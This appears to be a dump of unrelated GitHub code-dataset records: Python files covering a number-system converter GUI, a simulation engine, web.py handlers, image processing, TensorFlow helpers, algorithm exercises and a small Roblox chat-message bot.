self.PlayErrorAudio)\n\n if combo_get == 'Binary to Decimal':\n answer = number_system.binary_to_decimal(get_value)\n\n elif combo_get == 'Binary to Octal':\n answer = number_system.binary_to_octal(get_value)\n\n elif combo_get == 'Binary to Hexadecimal':\n answer = number_system.binary_to_hexadecimal(get_value)\n\n elif combo_get == 'Binary to Quinary':\n answer = number_system.binary_to_quinary(get_value)\n\n elif combo_get == 'Decimal to Binary':\n answer = number_system.decimal_to_binary(get_value)\n\n elif combo_get == 'Decimal to Octal':\n answer = number_system.decimal_to_octal(get_value)\n\n elif combo_get == 'Decimal to Hexadecimal':\n answer = number_system.decimal_to_hexadecimal(get_value)\n\n elif combo_get == 'Decimal to Quinary':\n answer = number_system.decimal_to_quinary(get_value)\n\n elif combo_get == 'Octal to Binary':\n answer = number_system.octal_to_binary(get_value)\n\n elif combo_get == 'Octal to Decimal':\n answer = number_system.octal_to_decimal(get_value)\n\n elif combo_get == 'Octal to Hexadecimal':\n answer = number_system.octal_to_hexadecimal(get_value)\n\n elif combo_get == 'Octal to Quinary':\n answer = number_system.octal_to_quinary(get_value)\n\n elif combo_get == 'Hexadecimal to Binary':\n answer = number_system.hexadecimal_to_binary(get_value)\n\n elif combo_get == 'Hexadecimal to Decimal':\n answer = number_system.hexadecimal_to_decimal(get_value)\n\n elif combo_get == 'Hexadecimal to Octal':\n answer = number_system.hexadecimal_to_octal(get_value)\n\n elif combo_get == 'Hexadecimal to Quinary':\n answer = number_system.hexadecimal_to_quinary(get_value)\n\n elif combo_get == 'Quinary to Binary':\n answer = number_system.quinary_to_binary(get_value)\n\n elif combo_get == 'Quinary to Decimal':\n answer = number_system.quinary_to_decimal(get_value)\n\n elif combo_get == 'Quinary to Octal':\n answer = number_system.quinary_to_octal(get_value)\n\n elif combo_get == 'Quinary to Hexadecimal':\n answer = number_system.quinary_to_hexadecimal(get_value)\n\n if answer:\n self.DisplayAnswer(answer)\n\n def ResourcePath(self, file_name):\n '''\n Get absolute path to resource from temporary directory\n\n In development:\n Gets path of files that are used in this script like icons, images or\n file of any extension from current directory\n\n After compiling to .exe with pyinstaller and using --add-data flag:\n Gets path of files that are used in this script like icons, images or\n file of any extension from temporary directory\n '''\n\n try:\n base_path = sys._MEIPASS # PyInstaller creates a temporary directory and stores path of that directory in _MEIPASS\n\n except AttributeError:\n base_path = os.path.dirname(__file__)\n\n return os.path.join(base_path, 'assets', file_name)\n\n\nif __name__ == '__main__':\n GUI()\n","repo_name":"ghanteyyy/nppy","sub_path":"PROJECT GUIs/NUMBER SYSTEM/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10106,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"18"} +{"seq_id":"14044597946","text":"from __future__ import division, print_function, unicode_literals\n\nimport unittest\ntry:\n raise ImportError(\"No module named sets_deprecated\")\nexcept ImportError:\n raise unittest.SkipTest(\"Skipping all tests in test_classes due to sets_deprecated\")\n\nimport os\nimport shutil\nimport tempfile\nimport abipy.data as abidata\n\nfrom abipy.core.testing import AbipyTest\nfrom abipy.gw.datastructures import GWSpecs, get_spec # , GWConvergenceData\nfrom abipy.gw.tests.test_helpers import structure\n\n\n#from pymatgen import SETTINGS\n#POTCAR_DIR = SETTINGS.get(\"VASP_PSP_DIR\")\n\n\n__author__ = 'setten'\n\n\nclass GWSetupTest(AbipyTest):\n def test_setup(self):\n \"\"\"\n Testing the main functions called in the abiGWsetup script\n \"\"\"\n\n spec_in = get_spec('GW')\n self.assertIsInstance(spec_in, GWSpecs)\n\n self.assert_equal(spec_in.test(), 0)\n self.assert_equal(len(spec_in.to_dict()), 10)\n self.assert_equal(spec_in.get_code(), 'ABINIT')\n\n\n spec_in.data['source'] = 'cif'\n\n self.assert_equal(spec_in.hash_str(), \"code:ABINIT;source:cifjobs:[u'prep', u'G0W0'];mode:ceci;functional:PBE;kp_grid_dens:500prec:m;tol:0.0001;test:False;converge:False\")\n\n wdir = tempfile.mkdtemp()\n base = os.getcwd()\n print('wdir', wdir)\n\n os.chdir(wdir)\n\n shutil.copyfile(abidata.cif_file(\"si.cif\"), os.path.join(wdir, 'si.cif'))\n shutil.copyfile(abidata.pseudo(\"14si.pspnc\").path, os.path.join(wdir, 'Si.pspnc'))\n shutil.copyfile(os.path.join(abidata.dirpath, 'managers', 'shell_manager.yml'), os.path.join(wdir, 'manager.yml'))\n shutil.copyfile(os.path.join(abidata.dirpath, 'managers', 'scheduler.yml'), os.path.join(wdir, 'scheduler.yml'))\n\n try:\n temp_ABINIT_PS_EXT = os.environ['ABINIT_PS_EXT']\n temp_ABINIT_PS = os.environ['ABINIT_PS']\n except KeyError:\n temp_ABINIT_PS_EXT = None\n temp_ABINIT_PS = None\n\n os.environ['ABINIT_PS_EXT'] = '.pspnc'\n os.environ['ABINIT_PS'] = wdir\n\n spec_in.data['source'] = 'cif'\n print('dirpath', abidata.dirpath)\n\n spec_in.write_to_file('spec.in')\n self.assertTrue(os.path.isfile(os.path.join(wdir, 'spec.in')))\n\n\n # broken due to strategy refactoring\n # spec_in.loop_structures('i')\n\n os.chdir(base)\n\n shutil.rmtree(wdir)\n\n if temp_ABINIT_PS is not None:\n os.environ['ABINIT_PS_EXT'] = temp_ABINIT_PS_EXT\n os.environ['ABINIT_PS'] = temp_ABINIT_PS\n\n\n # test the folder structure\n\n # read some of the input files\n","repo_name":"CaptainDasheng/abipy","sub_path":"abipy/gw/tests/test_scripts.py","file_name":"test_scripts.py","file_ext":"py","file_size_in_byte":2612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"72141774120","text":"import os\nimport time\nfrom pprint import pprint\n\nimport matplotlib.pyplot as plt\nfrom Application.Server import *\nfrom Application.Service import *\nfrom Application.DistributionFactory import *\nfrom queue import Queue\nimport pandas as pd\nimport numpy as np\n\n\nclass Simulation:\n\n def __init__(self, schema, serviceSchema):\n self.schema = schema\n self.serviceSchema = serviceSchema\n self.observationQueue = Queue()\n self.dfDicts = {}\n\n def main(self, profile, mapping, serviceDict, distRequest):\n\n distributionFactory = DistributionFactory()\n\n # https://www.jsonschemavalidator.net/\n suc, e = distributionFactory.validateContentvsSchema(profile, self.schema)\n if not suc:\n raise Exception(e)\n suc, e = distributionFactory.validateContentvsSchema(serviceDict, self.serviceSchema)\n if not suc:\n raise Exception(e)\n\n self.profile = distributionFactory.getProfileAsDict(profile)\n print(\"Generating input distribution\")\n eventSeries = distributionFactory.getScenarioDist(distRequest, profile, mapping)\n\n services = self.getServices(serviceDict)\n print(\"starting simulation\")\n self.simLoop(eventSeries, services, mapping)\n\n def saveOberservations(self, dfs):\n observationDict = self.observationQueueToDict()\n self.observations = observationDict\n self.saveSimResult(observationDict, savePath=\"../SimResults.json\")\n return observationDict\n\n \n def addEvent(self, eventDict, event, ts):\n if ts in eventDict:\n eventDict[ts].append(event)\n else:\n eventDict[ts] = [event]\n\n def simLoop(self, eventSeries, services, mapping):\n\n done = 0\n t = 0\n t3 = time.time_ns()\n times = set()\n lastT = 0\n doneInteractions = dict()\n awaitedFunctions = dict()\n\n ids = []\n\n # primary loop see thesis chapter \"simulation engine\"\n while len(eventSeries.keys()) > 0:\n\n # get next timestamp and events\n t = min(eventSeries.keys())\n events = eventSeries.pop(t)\n if t < lastT:\n lastT = t\n #print(len(events), events[0])\n self.observationQueue.put((\"sim_events\", t, \"error\", len(events)))\n continue\n lastT = t\n\n # print progression\n if done % 1000 == 0:\n print(\"simulation time: \" + str(t /1E9), end=\"\\r\")\n self.observationQueue.put((\"sim_events\", t, \"total\", len(events)))\n\n # secondary loop see thesis chapter \"simulation engine\"\n # iterate over all events\n while events:\n events = sorted(events)\n event = events.pop()\n\n # monitor for simulation internal error\n if event.type is None:\n if event.function.runtimeID in ids and event.function.start == event.function.scheduled :\n raise Exception(str(event.function.runtimeID) + \" Runtime ID was not unique\")\n else:\n ids.append(event.function.runtimeID)\n\n # monitor for simulation internal error\n if t != event.t or (event.function is not None and t != event.function.start):\n self.observationQueue.put((\"sim_events\", t, \"t_not_start\", 1))\n print(event.function.functionID, \"\\n\", t, \"\\n\", event.t, \"\\n\", event.function.start, \"\\n\")\n\n event.function.start = t\n\n\n # retrieve completed functions and callbacks\n d, ets, callbacks = services[event.serviceId].pop(t)\n done += len(d)\n\n # track completed functions for visualization\n for doneFunction in d:\n self.trackPop(doneInteractions, awaitedFunctions, self.observationQueue, doneFunction, t)\n\n # create events for callbacks\n for callback in callbacks:\n callback.setCallbackStart(t)\n\n serviceID = mapping[callback.functionID]\n self.addEvent(eventSeries, Event(callback.start, None, serviceID, callback), callback.start)\n\n\n if event.type == \"recalc\":\n # track number of recalc events\n self.observationQueue.put((\"sim_events\", t, \"recalculations\", 1))\n else:\n # push function if function is in event\n # event has function if tape is None\n # if service is busy function is returned to be referred\n ets, function = services[event.serviceId].push(event.function, t)\n\n # function is not None if the function was deferred, because the service didn't have ressources\n if function is not None:\n function = copy.deepcopy(function)\n serviceID = mapping[function.functionID]\n self.addEvent(eventSeries, Event(function.start, None, serviceID, function), function.start)\n self.observationQueue.put((\"sim_events\", t, \"rescheduled\", 1))\n else:\n self.trackPush(awaitedFunctions, event.function)\n\n for et in ets:\n if et not in eventSeries.keys():\n # recalculation events occour when a function should be finished and a server should have free ressources\n # that function might have already finished and there might be multiple recalc events for a single function\n self.addEvent(eventSeries, Event(et, \"recalc\", services[event.serviceId].serviceId, None), et)\n times.add(et)\n # monitor services for visualization\n self.monitorServices(self.observationQueue, services, t)\n\n # track completed interactions\n for key, value in doneInteractions.items():\n self.observationQueue.put((\"dones\", t, key, value))\n\n #self.observationQueue.put((\"dones\", t, \"total\", 0))\n self.observationQueue.put(\"done\")\n print(\"time: \", t/ 1E9, \"completed functions: \", done, \" in \", (time.time_ns() - t3) / 1E9, \"s\")\n\n def saveSimResult(self, observationDict, savePath=\"SimResults.json\"):\n savePath = os.path.join(os.path.dirname(__file__), savePath)\n print(savePath)\n with open(savePath, 'w') as fp:\n json.dump(observationDict, fp)\n\n def getServices(self, serviceDict):\n '''create service objects from service definition'''\n services = dict()\n\n for service in serviceDict[\"services\"]:\n tmpService = copy.deepcopy(service)\n tmpService[\"defaultServer\"] = copy.deepcopy(Server(**service[\"defaultServer\"]))\n services[service[\"serviceID\"]] = Service(**tmpService)\n\n return services\n\n def observationQueueToDict(self, chunks=None):\n columnNames = {\n \"sim_events\": [\"active\"],\n \"dones\": [\"completed\"],\n \"response_time\": [\"delay\", \"response time\"],\n \"service_util\": [\"CPU\", \"RAM\", \"NET\", \"IO\"],\n }\n i = 0\n while True:\n if chunks is not None and i >= chunks:\n break\n\n content = self.observationQueue.get()\n if content == \"done\":\n break\n\n Simulation.transfromQueue(columnNames, content, self.dfDicts)\n\n i += 1\n\n return self.dfDicts\n\n @staticmethod\n def transfromQueue(columnNames, content, dfDicts):\n '''transform Queue into Dicts'''\n key, t, identifier, value = content\n # this is bad\n # I am not sure why it happens\n if isinstance(value, np.ndarray):\n value = value\n else:\n if not isinstance(value, list):\n value = [value]\n else:\n value = value\n if key not in dfDicts:\n dfDicts[key] = {\"t\": [], \"identifier\": []}\n\n dfDicts[key][\"t\"].append(t)\n dfDicts[key][\"identifier\"].append(identifier)\n\n for i, val in enumerate(value):\n if i >= len(columnNames[key]):\n newKey = \"value_\" + str(i)\n else:\n newKey = columnNames[key][i]\n if newKey not in dfDicts[key]:\n dfDicts[key][newKey] = []\n dfDicts[key][newKey].append(val)\n\n\n def plotResults(self, dfDicts):\n\n dfs = dict()\n for value, df in dfDicts.items():\n dfs[value] = pd.DataFrame.from_dict(df)\n dfs[value][\"t\"] = pd.to_datetime(dfs[value][\"t\"], unit='ns')\n dfs[value].set_index(\"t\", inplace=True)\n\n for key, df in dfs.items():\n for i in df.identifier.unique():\n if key == \"sim_events\":\n df.loc[df[\"identifier\"] == i].resample(rule=\"1s\").sum().interpolate().plot(kind='line', title=f\"{key} {i}\")\n else:\n df.loc[df[\"identifier\"] == i].resample(rule=\"1s\").mean().interpolate().plot(kind='line', title=f\"{key} {i}\")\n\n plt.show()\n\n\n\n def monitorServices(self, observationQueue, services, t):\n avgUtil = [0, 0, 0, 0]\n for service in services.values():\n observationQueue.put((\"service_util\", t, \"service \" + service.serviceId, service.getAvgUtil()))\n avgUtil = np.add(avgUtil, service.getAvgUtil())\n\n avgUtil /= len(services)\n observationQueue.put((\"service_util\", t, \"average\", avgUtil))\n\n def trackPush(self, awaitedFunctions, function):\n '''if function was first in interaction put the last functionID in the awaited functions, used to track interaction delay and time'''\n interactions = self.profile[\"scenarios\"][function.scenarioID][\"interactions\"]\n\n # get first function in interaction\n firstF = None\n interactionFunctions = list(interactions[function.interactionID][\"functions\"].values())\n if len(interactionFunctions) == 1:\n firstF = interactionFunctions[0][\"functionID\"]\n\n for f in interactionFunctions:\n if f[\"callbacks\"] != [\"-1\"]:\n firstF = f[\"functionID\"]\n break\n\n if function.functionID == firstF:\n callbacks = function.callbacks\n if callbacks == [\"-1\"]:\n awaitedFunctions[function.runtimeID] = [function.start, function.scheduled]\n return\n cb2 = None\n while True:\n if callbacks == [\"-1\"]:\n break\n for callback in callbacks:\n if callback != \"-1\":\n cb2 = callback\n callbacks = callback.callbacks\n continue\n\n awaitedRunTimeID = cb2.runtimeID\n awaitedFunctions[awaitedRunTimeID] = [function.start, function.scheduled]\n\n def trackPop(self, doneInteractions, awaitedFunctions, observationQueue, function, t):\n '''remove function from awaited functions if interaction is completed'''\n key = f\"scenario {str(function.scenarioID)} interaction {str(function.interactionID)}\"\n\n if function.runtimeID in awaitedFunctions:\n if key not in doneInteractions:\n doneInteractions[key] = 0\n doneInteractions[key] += 1\n\n fStart, fScheduled = awaitedFunctions.pop(function.runtimeID)\n tmp = [(fStart - fScheduled) / 1E9, (function.end - fScheduled)/ 1E9]\n observationQueue.put((\"response_time\", t, key, tmp))\n","repo_name":"Askill/DSPS","sub_path":"purePy - Simulation/Application/Simulation.py","file_name":"Simulation.py","file_ext":"py","file_size_in_byte":11703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30319974814","text":"#!/usr/local/bin/python\n# -*- coding: utf-8 -*-\n\nimport web\nimport sqlite3\n\nfrom model import *\n\nclass mythread(object):\n def GET(self):\n web.seeother(u'/')\n def POST(self):\n catch = web.input()\n post = checkPost_Thread(catch)\n # dbに書き込み\n db = dbControl()\n # スレッド\n res_thread = db.newCreateThread(post)\n # レス\n post['thread_id'] = res_thread\n res_res = db.newCreateRes(post)\n if not res_thread or not res_res:\n db.rollback()\n db.close()\n web.seeother(u'/error')\n else:\n db.commit()\n db.close()\n web.seeother(u'/res?no={0}'.format(res_thread))\n\n\ndef checkPost_Thread(post):\n u'''\n /threadに対し、ポストの値について確認する\n 確認した値について、dictで返す\n '''\n checkThread = [u'threadtitle', u'username', u'message']\n if not isinstance(post, web.storage):\n return False\n for i in checkThread:\n if not post.get(i):\n return False\n return {u'threadtitle': post.get(u'threadtitle'),\n u'username': post.get(u'username'),\n u'message': post.get(u'message')}\n \n \n","repo_name":"GunioRobot/learning-web.py","sub_path":"test03/control/mythread.py","file_name":"mythread.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"15774964750","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri May 1 22:40:43 2020\r\n\r\n@author: Sansrit Paudel \r\n\r\nLIST IN PYTHON\r\nenclosed on square brackets\r\n\r\n\"\"\"\r\n'''\r\nnum_string_list = ['one', 'two', 'three']\r\n\r\nnumbers = [1,2,3,4,5]\r\n\r\nprint(num_string_list)\r\n'''\r\n\r\nthe_count = [2,4,6,4,5]\r\n\r\nfruits = ['apples', 'orange', 'pears', 'apricots' ]\r\n\r\nchange = [1, 'pennies', 2, 'dimes', 3, 'quaters']\r\n\r\n#APPLING THE FOR LOOP THOROUGH THE LIST\r\n# , for loop executes on loop with visiting elements on list\r\n#for variable name in List\r\n\r\n\r\nfor number in the_count:\r\n print(\"This is a count %d \" %number)\r\n\r\n\r\n\r\nfor fruit in fruits:\r\n print(\"A fruit of type %s\" %fruit)\r\n \r\n\r\n#we can go through mixed list too\r\nfor i in change:\r\n print(\"I got %r\" %i)\r\n \r\n\r\n#WE CAN BUILD UP OUR OWN LIST FIRST EMPTY AND FILL LATER\r\n\r\n#CREATED EMPTY LIST\r\n \r\nelements = []\r\n\r\n#range method is used to create range from starting to less than ending\r\nfor i in range(0,6):\r\n print(\"Adding %d to list\" %i)\r\n #append method is used with empty list to fill list\r\n elements.append(i)\r\n # print(elements)\r\n\r\nprint(elements)\r\n\r\nfor i in elements:\r\n print(\"Elements was: %d\" %i)","repo_name":"sansrit/ObjectOreintedProgramming-Python","sub_path":"Intermediate/25.Loops_List.py","file_name":"25.Loops_List.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"2654094324","text":"\"\"\"\nModule to process settings\n\"\"\"\n\n# Generics\nimport json\nimport os.path\n\n# Own\nfrom baking.main.util import file_utils as fu\n\nREQUIRED_KEYS = (\n \"LOG_PATH\",\n \"WORKERS\",\n \"RANDOM_STATE\"\n)\n\n\ndef create_paths_if_necessary(settings):\n \"\"\"\n Create necessary paths if missing.\n :param settings: Settings (dict) to be used\n :return:\n \"\"\"\n for key, setting in settings.items():\n if 'path' in key.lower():\n fu.create_path(setting)\n\n\ndef fix_settings(settings, root_dir):\n \"\"\"\n Goes through the settings dictionary and makes sure the paths are correct.\n :param settings: A dictionary with settings, usually obtained from SETTINGS.json\n in the root directory.\n :param root_dir: The root path to which any path should be relative.\n :return: A settings dictionary where all the paths are fixed to be relative to the\n supplied root directory.\n \"\"\"\n fixed_settings = dict()\n for key, setting in settings.items():\n if 'path' in key.lower():\n if isinstance(setting, str):\n setting = os.path.join(root_dir, setting)\n elif isinstance(setting, list):\n setting = [os.path.join(root_dir, path) for path in setting]\n fixed_settings[key] = setting\n # print(\"k {} - s {}\".format(key, setting))\n\n create_paths_if_necessary(fixed_settings)\n\n return fixed_settings\n\n\ndef get_settings(settings_path):\n \"\"\"\n Reads the given json settings file and makes sure the path in it are correct.\n Creates path variables if necessary\n :param settings_path: The path to the json file holding the settings.\n :return: A dictionary with settings.\n \"\"\"\n with open(settings_path) as settings_fp:\n settings = json.load(settings_fp)\n root_dir = os.path.dirname(settings_path)\n fixed_settings = fix_settings(settings, root_dir)\n\n return fixed_settings\n","repo_name":"arukavina/baking-lyrics","sub_path":"baking/main/util/settings_util.py","file_name":"settings_util.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"18"} +{"seq_id":"27222743854","text":"import os\nimport random\nimport pickle\nimport tensorflow as tf\n\ndef save_network(session, tf_variables, file_path):\n variable_values = session.run(tf_variables)\n pickle.dump(variable_values, open(file_path,'wb'))\n\ndef load_network(session, tf_variables, file_path):\n variable_values = pickle.load(open(file_path, 'rb'))\n try:\n if len(variable_values) != len(tf_variables):\n raise ValueError(\"Network in file had different structure, variables in file: %s variables in memeory: %s\"\n % (len(variable_values), len(tf_variables)))\n for value, tf_variable in zip(variable_values, tf_variables):\n session.run(tf_variable.assign(value))\n except ValueError as ex:\n raise ValueError(\"\"\"Tried to load network file %s with different architecture from the in memory network.\nError was %s\nEither delete the network file to train a new network from scratch or change the in memory network to match that dimensions of the one in the file\"\"\" % (file_path, ex))\n\n\n\n\n","repo_name":"ariesduanmu/Reinforcement-Learning","sub_path":"tictactoe/AI/supervised.py","file_name":"supervised.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2427913569","text":"import random\nimport time\nimport pyautogui\nfrom termcolor import colored\n\n# PUT MESSAGES HERE!\nMESSAGES = [\n \"MESSAGE 1\",\n \"MESSAGE 2\",\n \"MESSAGE 3\",\n \"MISPELLED MESSAGE 1\",\n \"MISPELLED MESSAGE 2\",\n \"MISPELLED MESSAGE 3\",\n]\n\nprint(colored('Do not put \"robux\" or anything like that or else you might get banned!', 'white', 'on_red', ['bold', 'underline']))\nprint(colored('Made by @thedog-bot on github.', 'white', 'on_green', ['bold', 'underline']))\nprint(colored('Make sure you are in a game! You have 30 before the script starts.', 'white', 'on_yellow', ['bold', 'underline']))\ntime.sleep(25)\nprint(colored('5...', 'white', 'on_red', ['bold']))\ntime.sleep(1)\nprint(colored('4...', 'white', 'on_red', ['bold']))\ntime.sleep(1)\nprint(colored('3...', 'white', 'on_red', ['bold']))\ntime.sleep(1)\nprint(colored('2...', 'white', 'on_red', ['bold']))\ntime.sleep(1)\nprint(colored('1...', 'white', 'on_red', ['bold']))\ntime.sleep(1)\nprint(colored('Quit this window to end the script!', 'white', 'on_blue', ['bold']))\n\nwhile True:\n # type message in chat\n message = random.choice(MESSAGES)\n pyautogui.typewrite(\"/\")\n time.sleep(1)\n pyautogui.typewrite(message)\n pyautogui.press(\"enter\")\n sleep_time = random.randint(20, 110)\n time.sleep(sleep_time)\n","repo_name":"TheDog-bot/pls-donate-bot","sub_path":"Chat+anti_afk.py","file_name":"Chat+anti_afk.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"21119045084","text":"\"\"\"\nGiven an array of n positive integers and a number k. Find the minimum number\nof swaps required to bring all the numbers less than or equal to k together.\n\"\"\"\n\n\ndef min_swaps(arr: list, k: int) -> int:\n \"\"\"\n Time Complexity: O(n)\n Space Complexity: O(1)\n get the max count of elements less than or equal to k, which are together.\n The max swaps would be the total count - max count.\n \"\"\"\n i, l, count_total, count_together = 0, len(arr), 0, 0\n\n while i < l:\n count_local: int = 0\n\n while i < l and arr[i] <= k:\n count_local += 1\n i += 1\n\n count_total += count_local\n count_together = max(count_together, count_local)\n i += 1\n\n return count_total - count_together\n\n\nif __name__ == \"__main__\":\n assert min_swaps([2, 1, 5, 6, 3], 3) == 1\n assert min_swaps([2, 7, 9, 5, 8, 7, 4], 5) == 2\n","repo_name":"rrwt/daily-coding-challenge","sub_path":"gfg/arrays/min_swaps_required.py","file_name":"min_swaps_required.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"15878572711","text":"import os\nimport io\nfrom setuptools import setup\n\n\n\nrequirements = [\n 'numpy',\n 'matplotlib',\n 'numpy',\n 'PIL',\n 'threading',\n 'math',\n 'pickle'\n ]\n\nsetup(\n name='FFT Image Cryptography',\n version='1.0',\n author='Jihoon Lee',\n author_email='anfwkrpdnjs179@gmail.com',\n description='Creates 2 FFT images (contains Real, Imag respectively) with phase scrambling in frequency domain',\n install_requires=requirements\n )\n","repo_name":"jlee167/Abandonware-Cryptography-Practice","sub_path":"Python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"38425959026","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimg = cv2.imread('sudoku.png',cv2.IMREAD_GRAYSCALE)\nlap = cv2.Laplacian(img,cv2.CV_64F)\nlap = np.uint8(np.absolute(lap))\nsobelx = cv2.Sobel(img,cv2.CV_64F,1,0)\nsobelY = cv2.Sobel(img,cv2.CV_64F,0,1)\nsobelx = np.uint8(np.absolute(sobelx))\nsobely = np.uint8(np.absolute(sobelY))\ncom_res = cv2.bitwise_or(sobelx,sobely)\n\n\n\ntitle=['images','laplacian ','sobelx','sobely','combuned result']\nimg = [img,lap,sobelx,sobely,com_res]\n\nfor i in range(5):\n plt.subplot(3,2,i+1), plt.imshow(img[i] , 'gray')# result can be check by only checking the image z0oming\n plt.title(title[i])\n plt.xticks([]),plt.yticks([])\n\nplt.show()\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"kamalsingh-engg/CVopenTutorial_python","sub_path":"IMAGE GRADIENT AND CANNY EDGE/image_gradient and canny edge_sudoku.py","file_name":"image_gradient and canny edge_sudoku.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"22704412827","text":"#\n# @lc app=leetcode id=1871 lang=python3\n#\n# [1871] Jump Game VII\n#\n\n# @lc code=start\nfrom collections import deque\n\n\nclass Solution:\n def canReach(self, s: str, minJump: int, maxJump: int) -> bool:\n if s[-1] == \"1\":\n return False\n \n q = deque([0])\n furthest = 0\n while q:\n size = len(q)\n for _ in range(size):\n index = q.popleft()\n start = max(index + minJump, furthest + 1)\n for nextIndex in range(start, index + maxJump + 1):\n if nextIndex >= len(s) or s[nextIndex] == \"1\":\n continue\n if nextIndex == len(s) - 1:\n return True\n q.append(nextIndex)\n furthest = index + maxJump\n return False\n \n# @lc code=end\nsolution = Solution()\nprint(solution.canReach(\"011010\", 2, 3))\nprint(solution.canReach(\"01101110\", 2, 3))","repo_name":"Real1236/LeetcodePython","sub_path":"leetcode/editor/en/1871.jump-game-vii.py","file_name":"1871.jump-game-vii.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"2871707093","text":"#!/usr/bin/python\n\n\ndef outlierCleaner(predictions, ages, net_worths):\n \"\"\"\n Удалите 10% точек с наибольшим\n остаточные ошибки (разница между прогнозом\n и фактическая чистая стоимость).\n\n Вернуть список кортежей с именем cleaned_data, где\n каждый кортеж имеет форму (возраст, чистая_доходность, ошибка).\n \"\"\"\n \n cleaned_data = []\n\n ### ваш код идет сюда\n max_errors = -80\n count = 0\n max_count = len(predictions)\n while count < max_count:\n\n errors = net_worths[count][0]-predictions[count][0]\n\n if errors < max_errors:\n count = count + 1\n continue\n\n cleaned_data.append((ages[count][0], net_worths[count][0], errors))\n count = count + 1\n\n return cleaned_data\n\n","repo_name":"vo0doO/ud120","sub_path":"outliers/outlier_cleaner.py","file_name":"outlier_cleaner.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17417430248","text":"# Create images with downsampled radar scans\n\nimport argparse\nimport os\nimport cv2\nimport tqdm\nimport numpy as np\n\n\ndef subsample_scan(scan_path: str, dataset_type: str, output_file_path: str, size: (int, int)):\n assert os.path.exists(scan_path)\n\n width, height = size\n image = cv2.imread(scan_path, cv2.IMREAD_GRAYSCALE)\n if dataset_type == 'mulran':\n assert image.shape == (3360, 400)\n elif dataset_type == 'robotcar':\n # Stripe control bytes\n image = image[:, 11:]\n # Transpose axis, to make the same format as in MulRan\n image = np.transpose(image, (1, 0))\n assert image.shape == (3768, 400)\n else:\n raise NotImplementedError(f\"Unknown dataset type: {dataset_type}\")\n\n downsampled_image = cv2.resize(image, (width, height), interpolation=cv2.INTER_AREA)\n file_name = os.path.split(scan_path)[1]\n cv2.imwrite(os.path.join(output_file_path, file_name), downsampled_image)\n\n temp_image = downsampled_image.astype(float) / 255.\n mean = np.mean(temp_image)\n std = np.std(temp_image)\n return mean, std\n\n\ndef downsample(dataset_root: str, dataset_type: str, size: (int, int), output_folder: str):\n # List of directories/traversals\n traversals = os.listdir(dataset_root)\n traversals = [os.path.join(dataset_root, e) for e in traversals]\n traversals = [e for e in traversals if os.path.isdir(e)]\n mean_l, std_l = [], []\n\n for t in traversals:\n if dataset_type == 'mulran':\n scan_folder = os.path.join(t, 'polar')\n elif dataset_type == 'robotcar':\n scan_folder = os.path.join(t, 'radar')\n else:\n raise NotImplementedError(f\"Unknown dataset type: {dataset_type}\")\n\n if not os.path.exists(scan_folder):\n print(f\"Subfolder: {scan_folder} does not exists\")\n continue\n\n scans = os.listdir(scan_folder)\n scans = [os.path.join(scan_folder, e) for e in scans]\n scans = [e for e in scans if os.path.isfile(e) and os.path.splitext(e)[1] == '.png']\n print(f\"{len(scans)} scans in traversal: {t}\")\n\n # Create output folder\n output_file_path = os.path.join(t, output_folder)\n if not os.path.exists(output_file_path):\n os.mkdir(output_file_path)\n\n assert os.path.exists(output_file_path)\n\n for scan in tqdm.tqdm(scans):\n mean, std = subsample_scan(scan, dataset_type, output_file_path, size)\n mean_l.append(mean)\n std_l.append(std)\n\n print(f'Subsampled images mean: {np.mean(mean_l):0.3f} std:{np.mean(std_l):0.3f}')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset_root', type=str, required=True)\n parser.add_argument('--dataset', type=str, choices=['mulran', 'robotcar'], default='mulran')\n args = parser.parse_args()\n\n print(f'Dataset root: {args.dataset_root}')\n print(f'Dataset: {args.dataset}')\n\n # (384, 128) is for our RadarLoc method, (120, 40) is for ScanContext\n sizes = ((384, 128), (120, 40))\n assert os.path.exists(args.dataset_root)\n for (width, height) in sizes:\n output_folder = f\"polar_{width}_{height}\"\n print(f\"Rescaling to: {width} x {height} (width x height)\")\n downsample(args.dataset_root, args.dataset, (width, height), output_folder)\n print('')\n\n","repo_name":"jac99/RadarLoc","sub_path":"scripts/downsample_radar_scans.py","file_name":"downsample_radar_scans.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"19"} +{"seq_id":"36187674683","text":"import typing\nimport unittest\nimport mock\n\nfrom tests.providers.gcp import gcp_mocks\n\n\nclass GoogleCloudBuildTest(unittest.TestCase):\n \"\"\"Test Google Cloud Build class.\"\"\"\n # 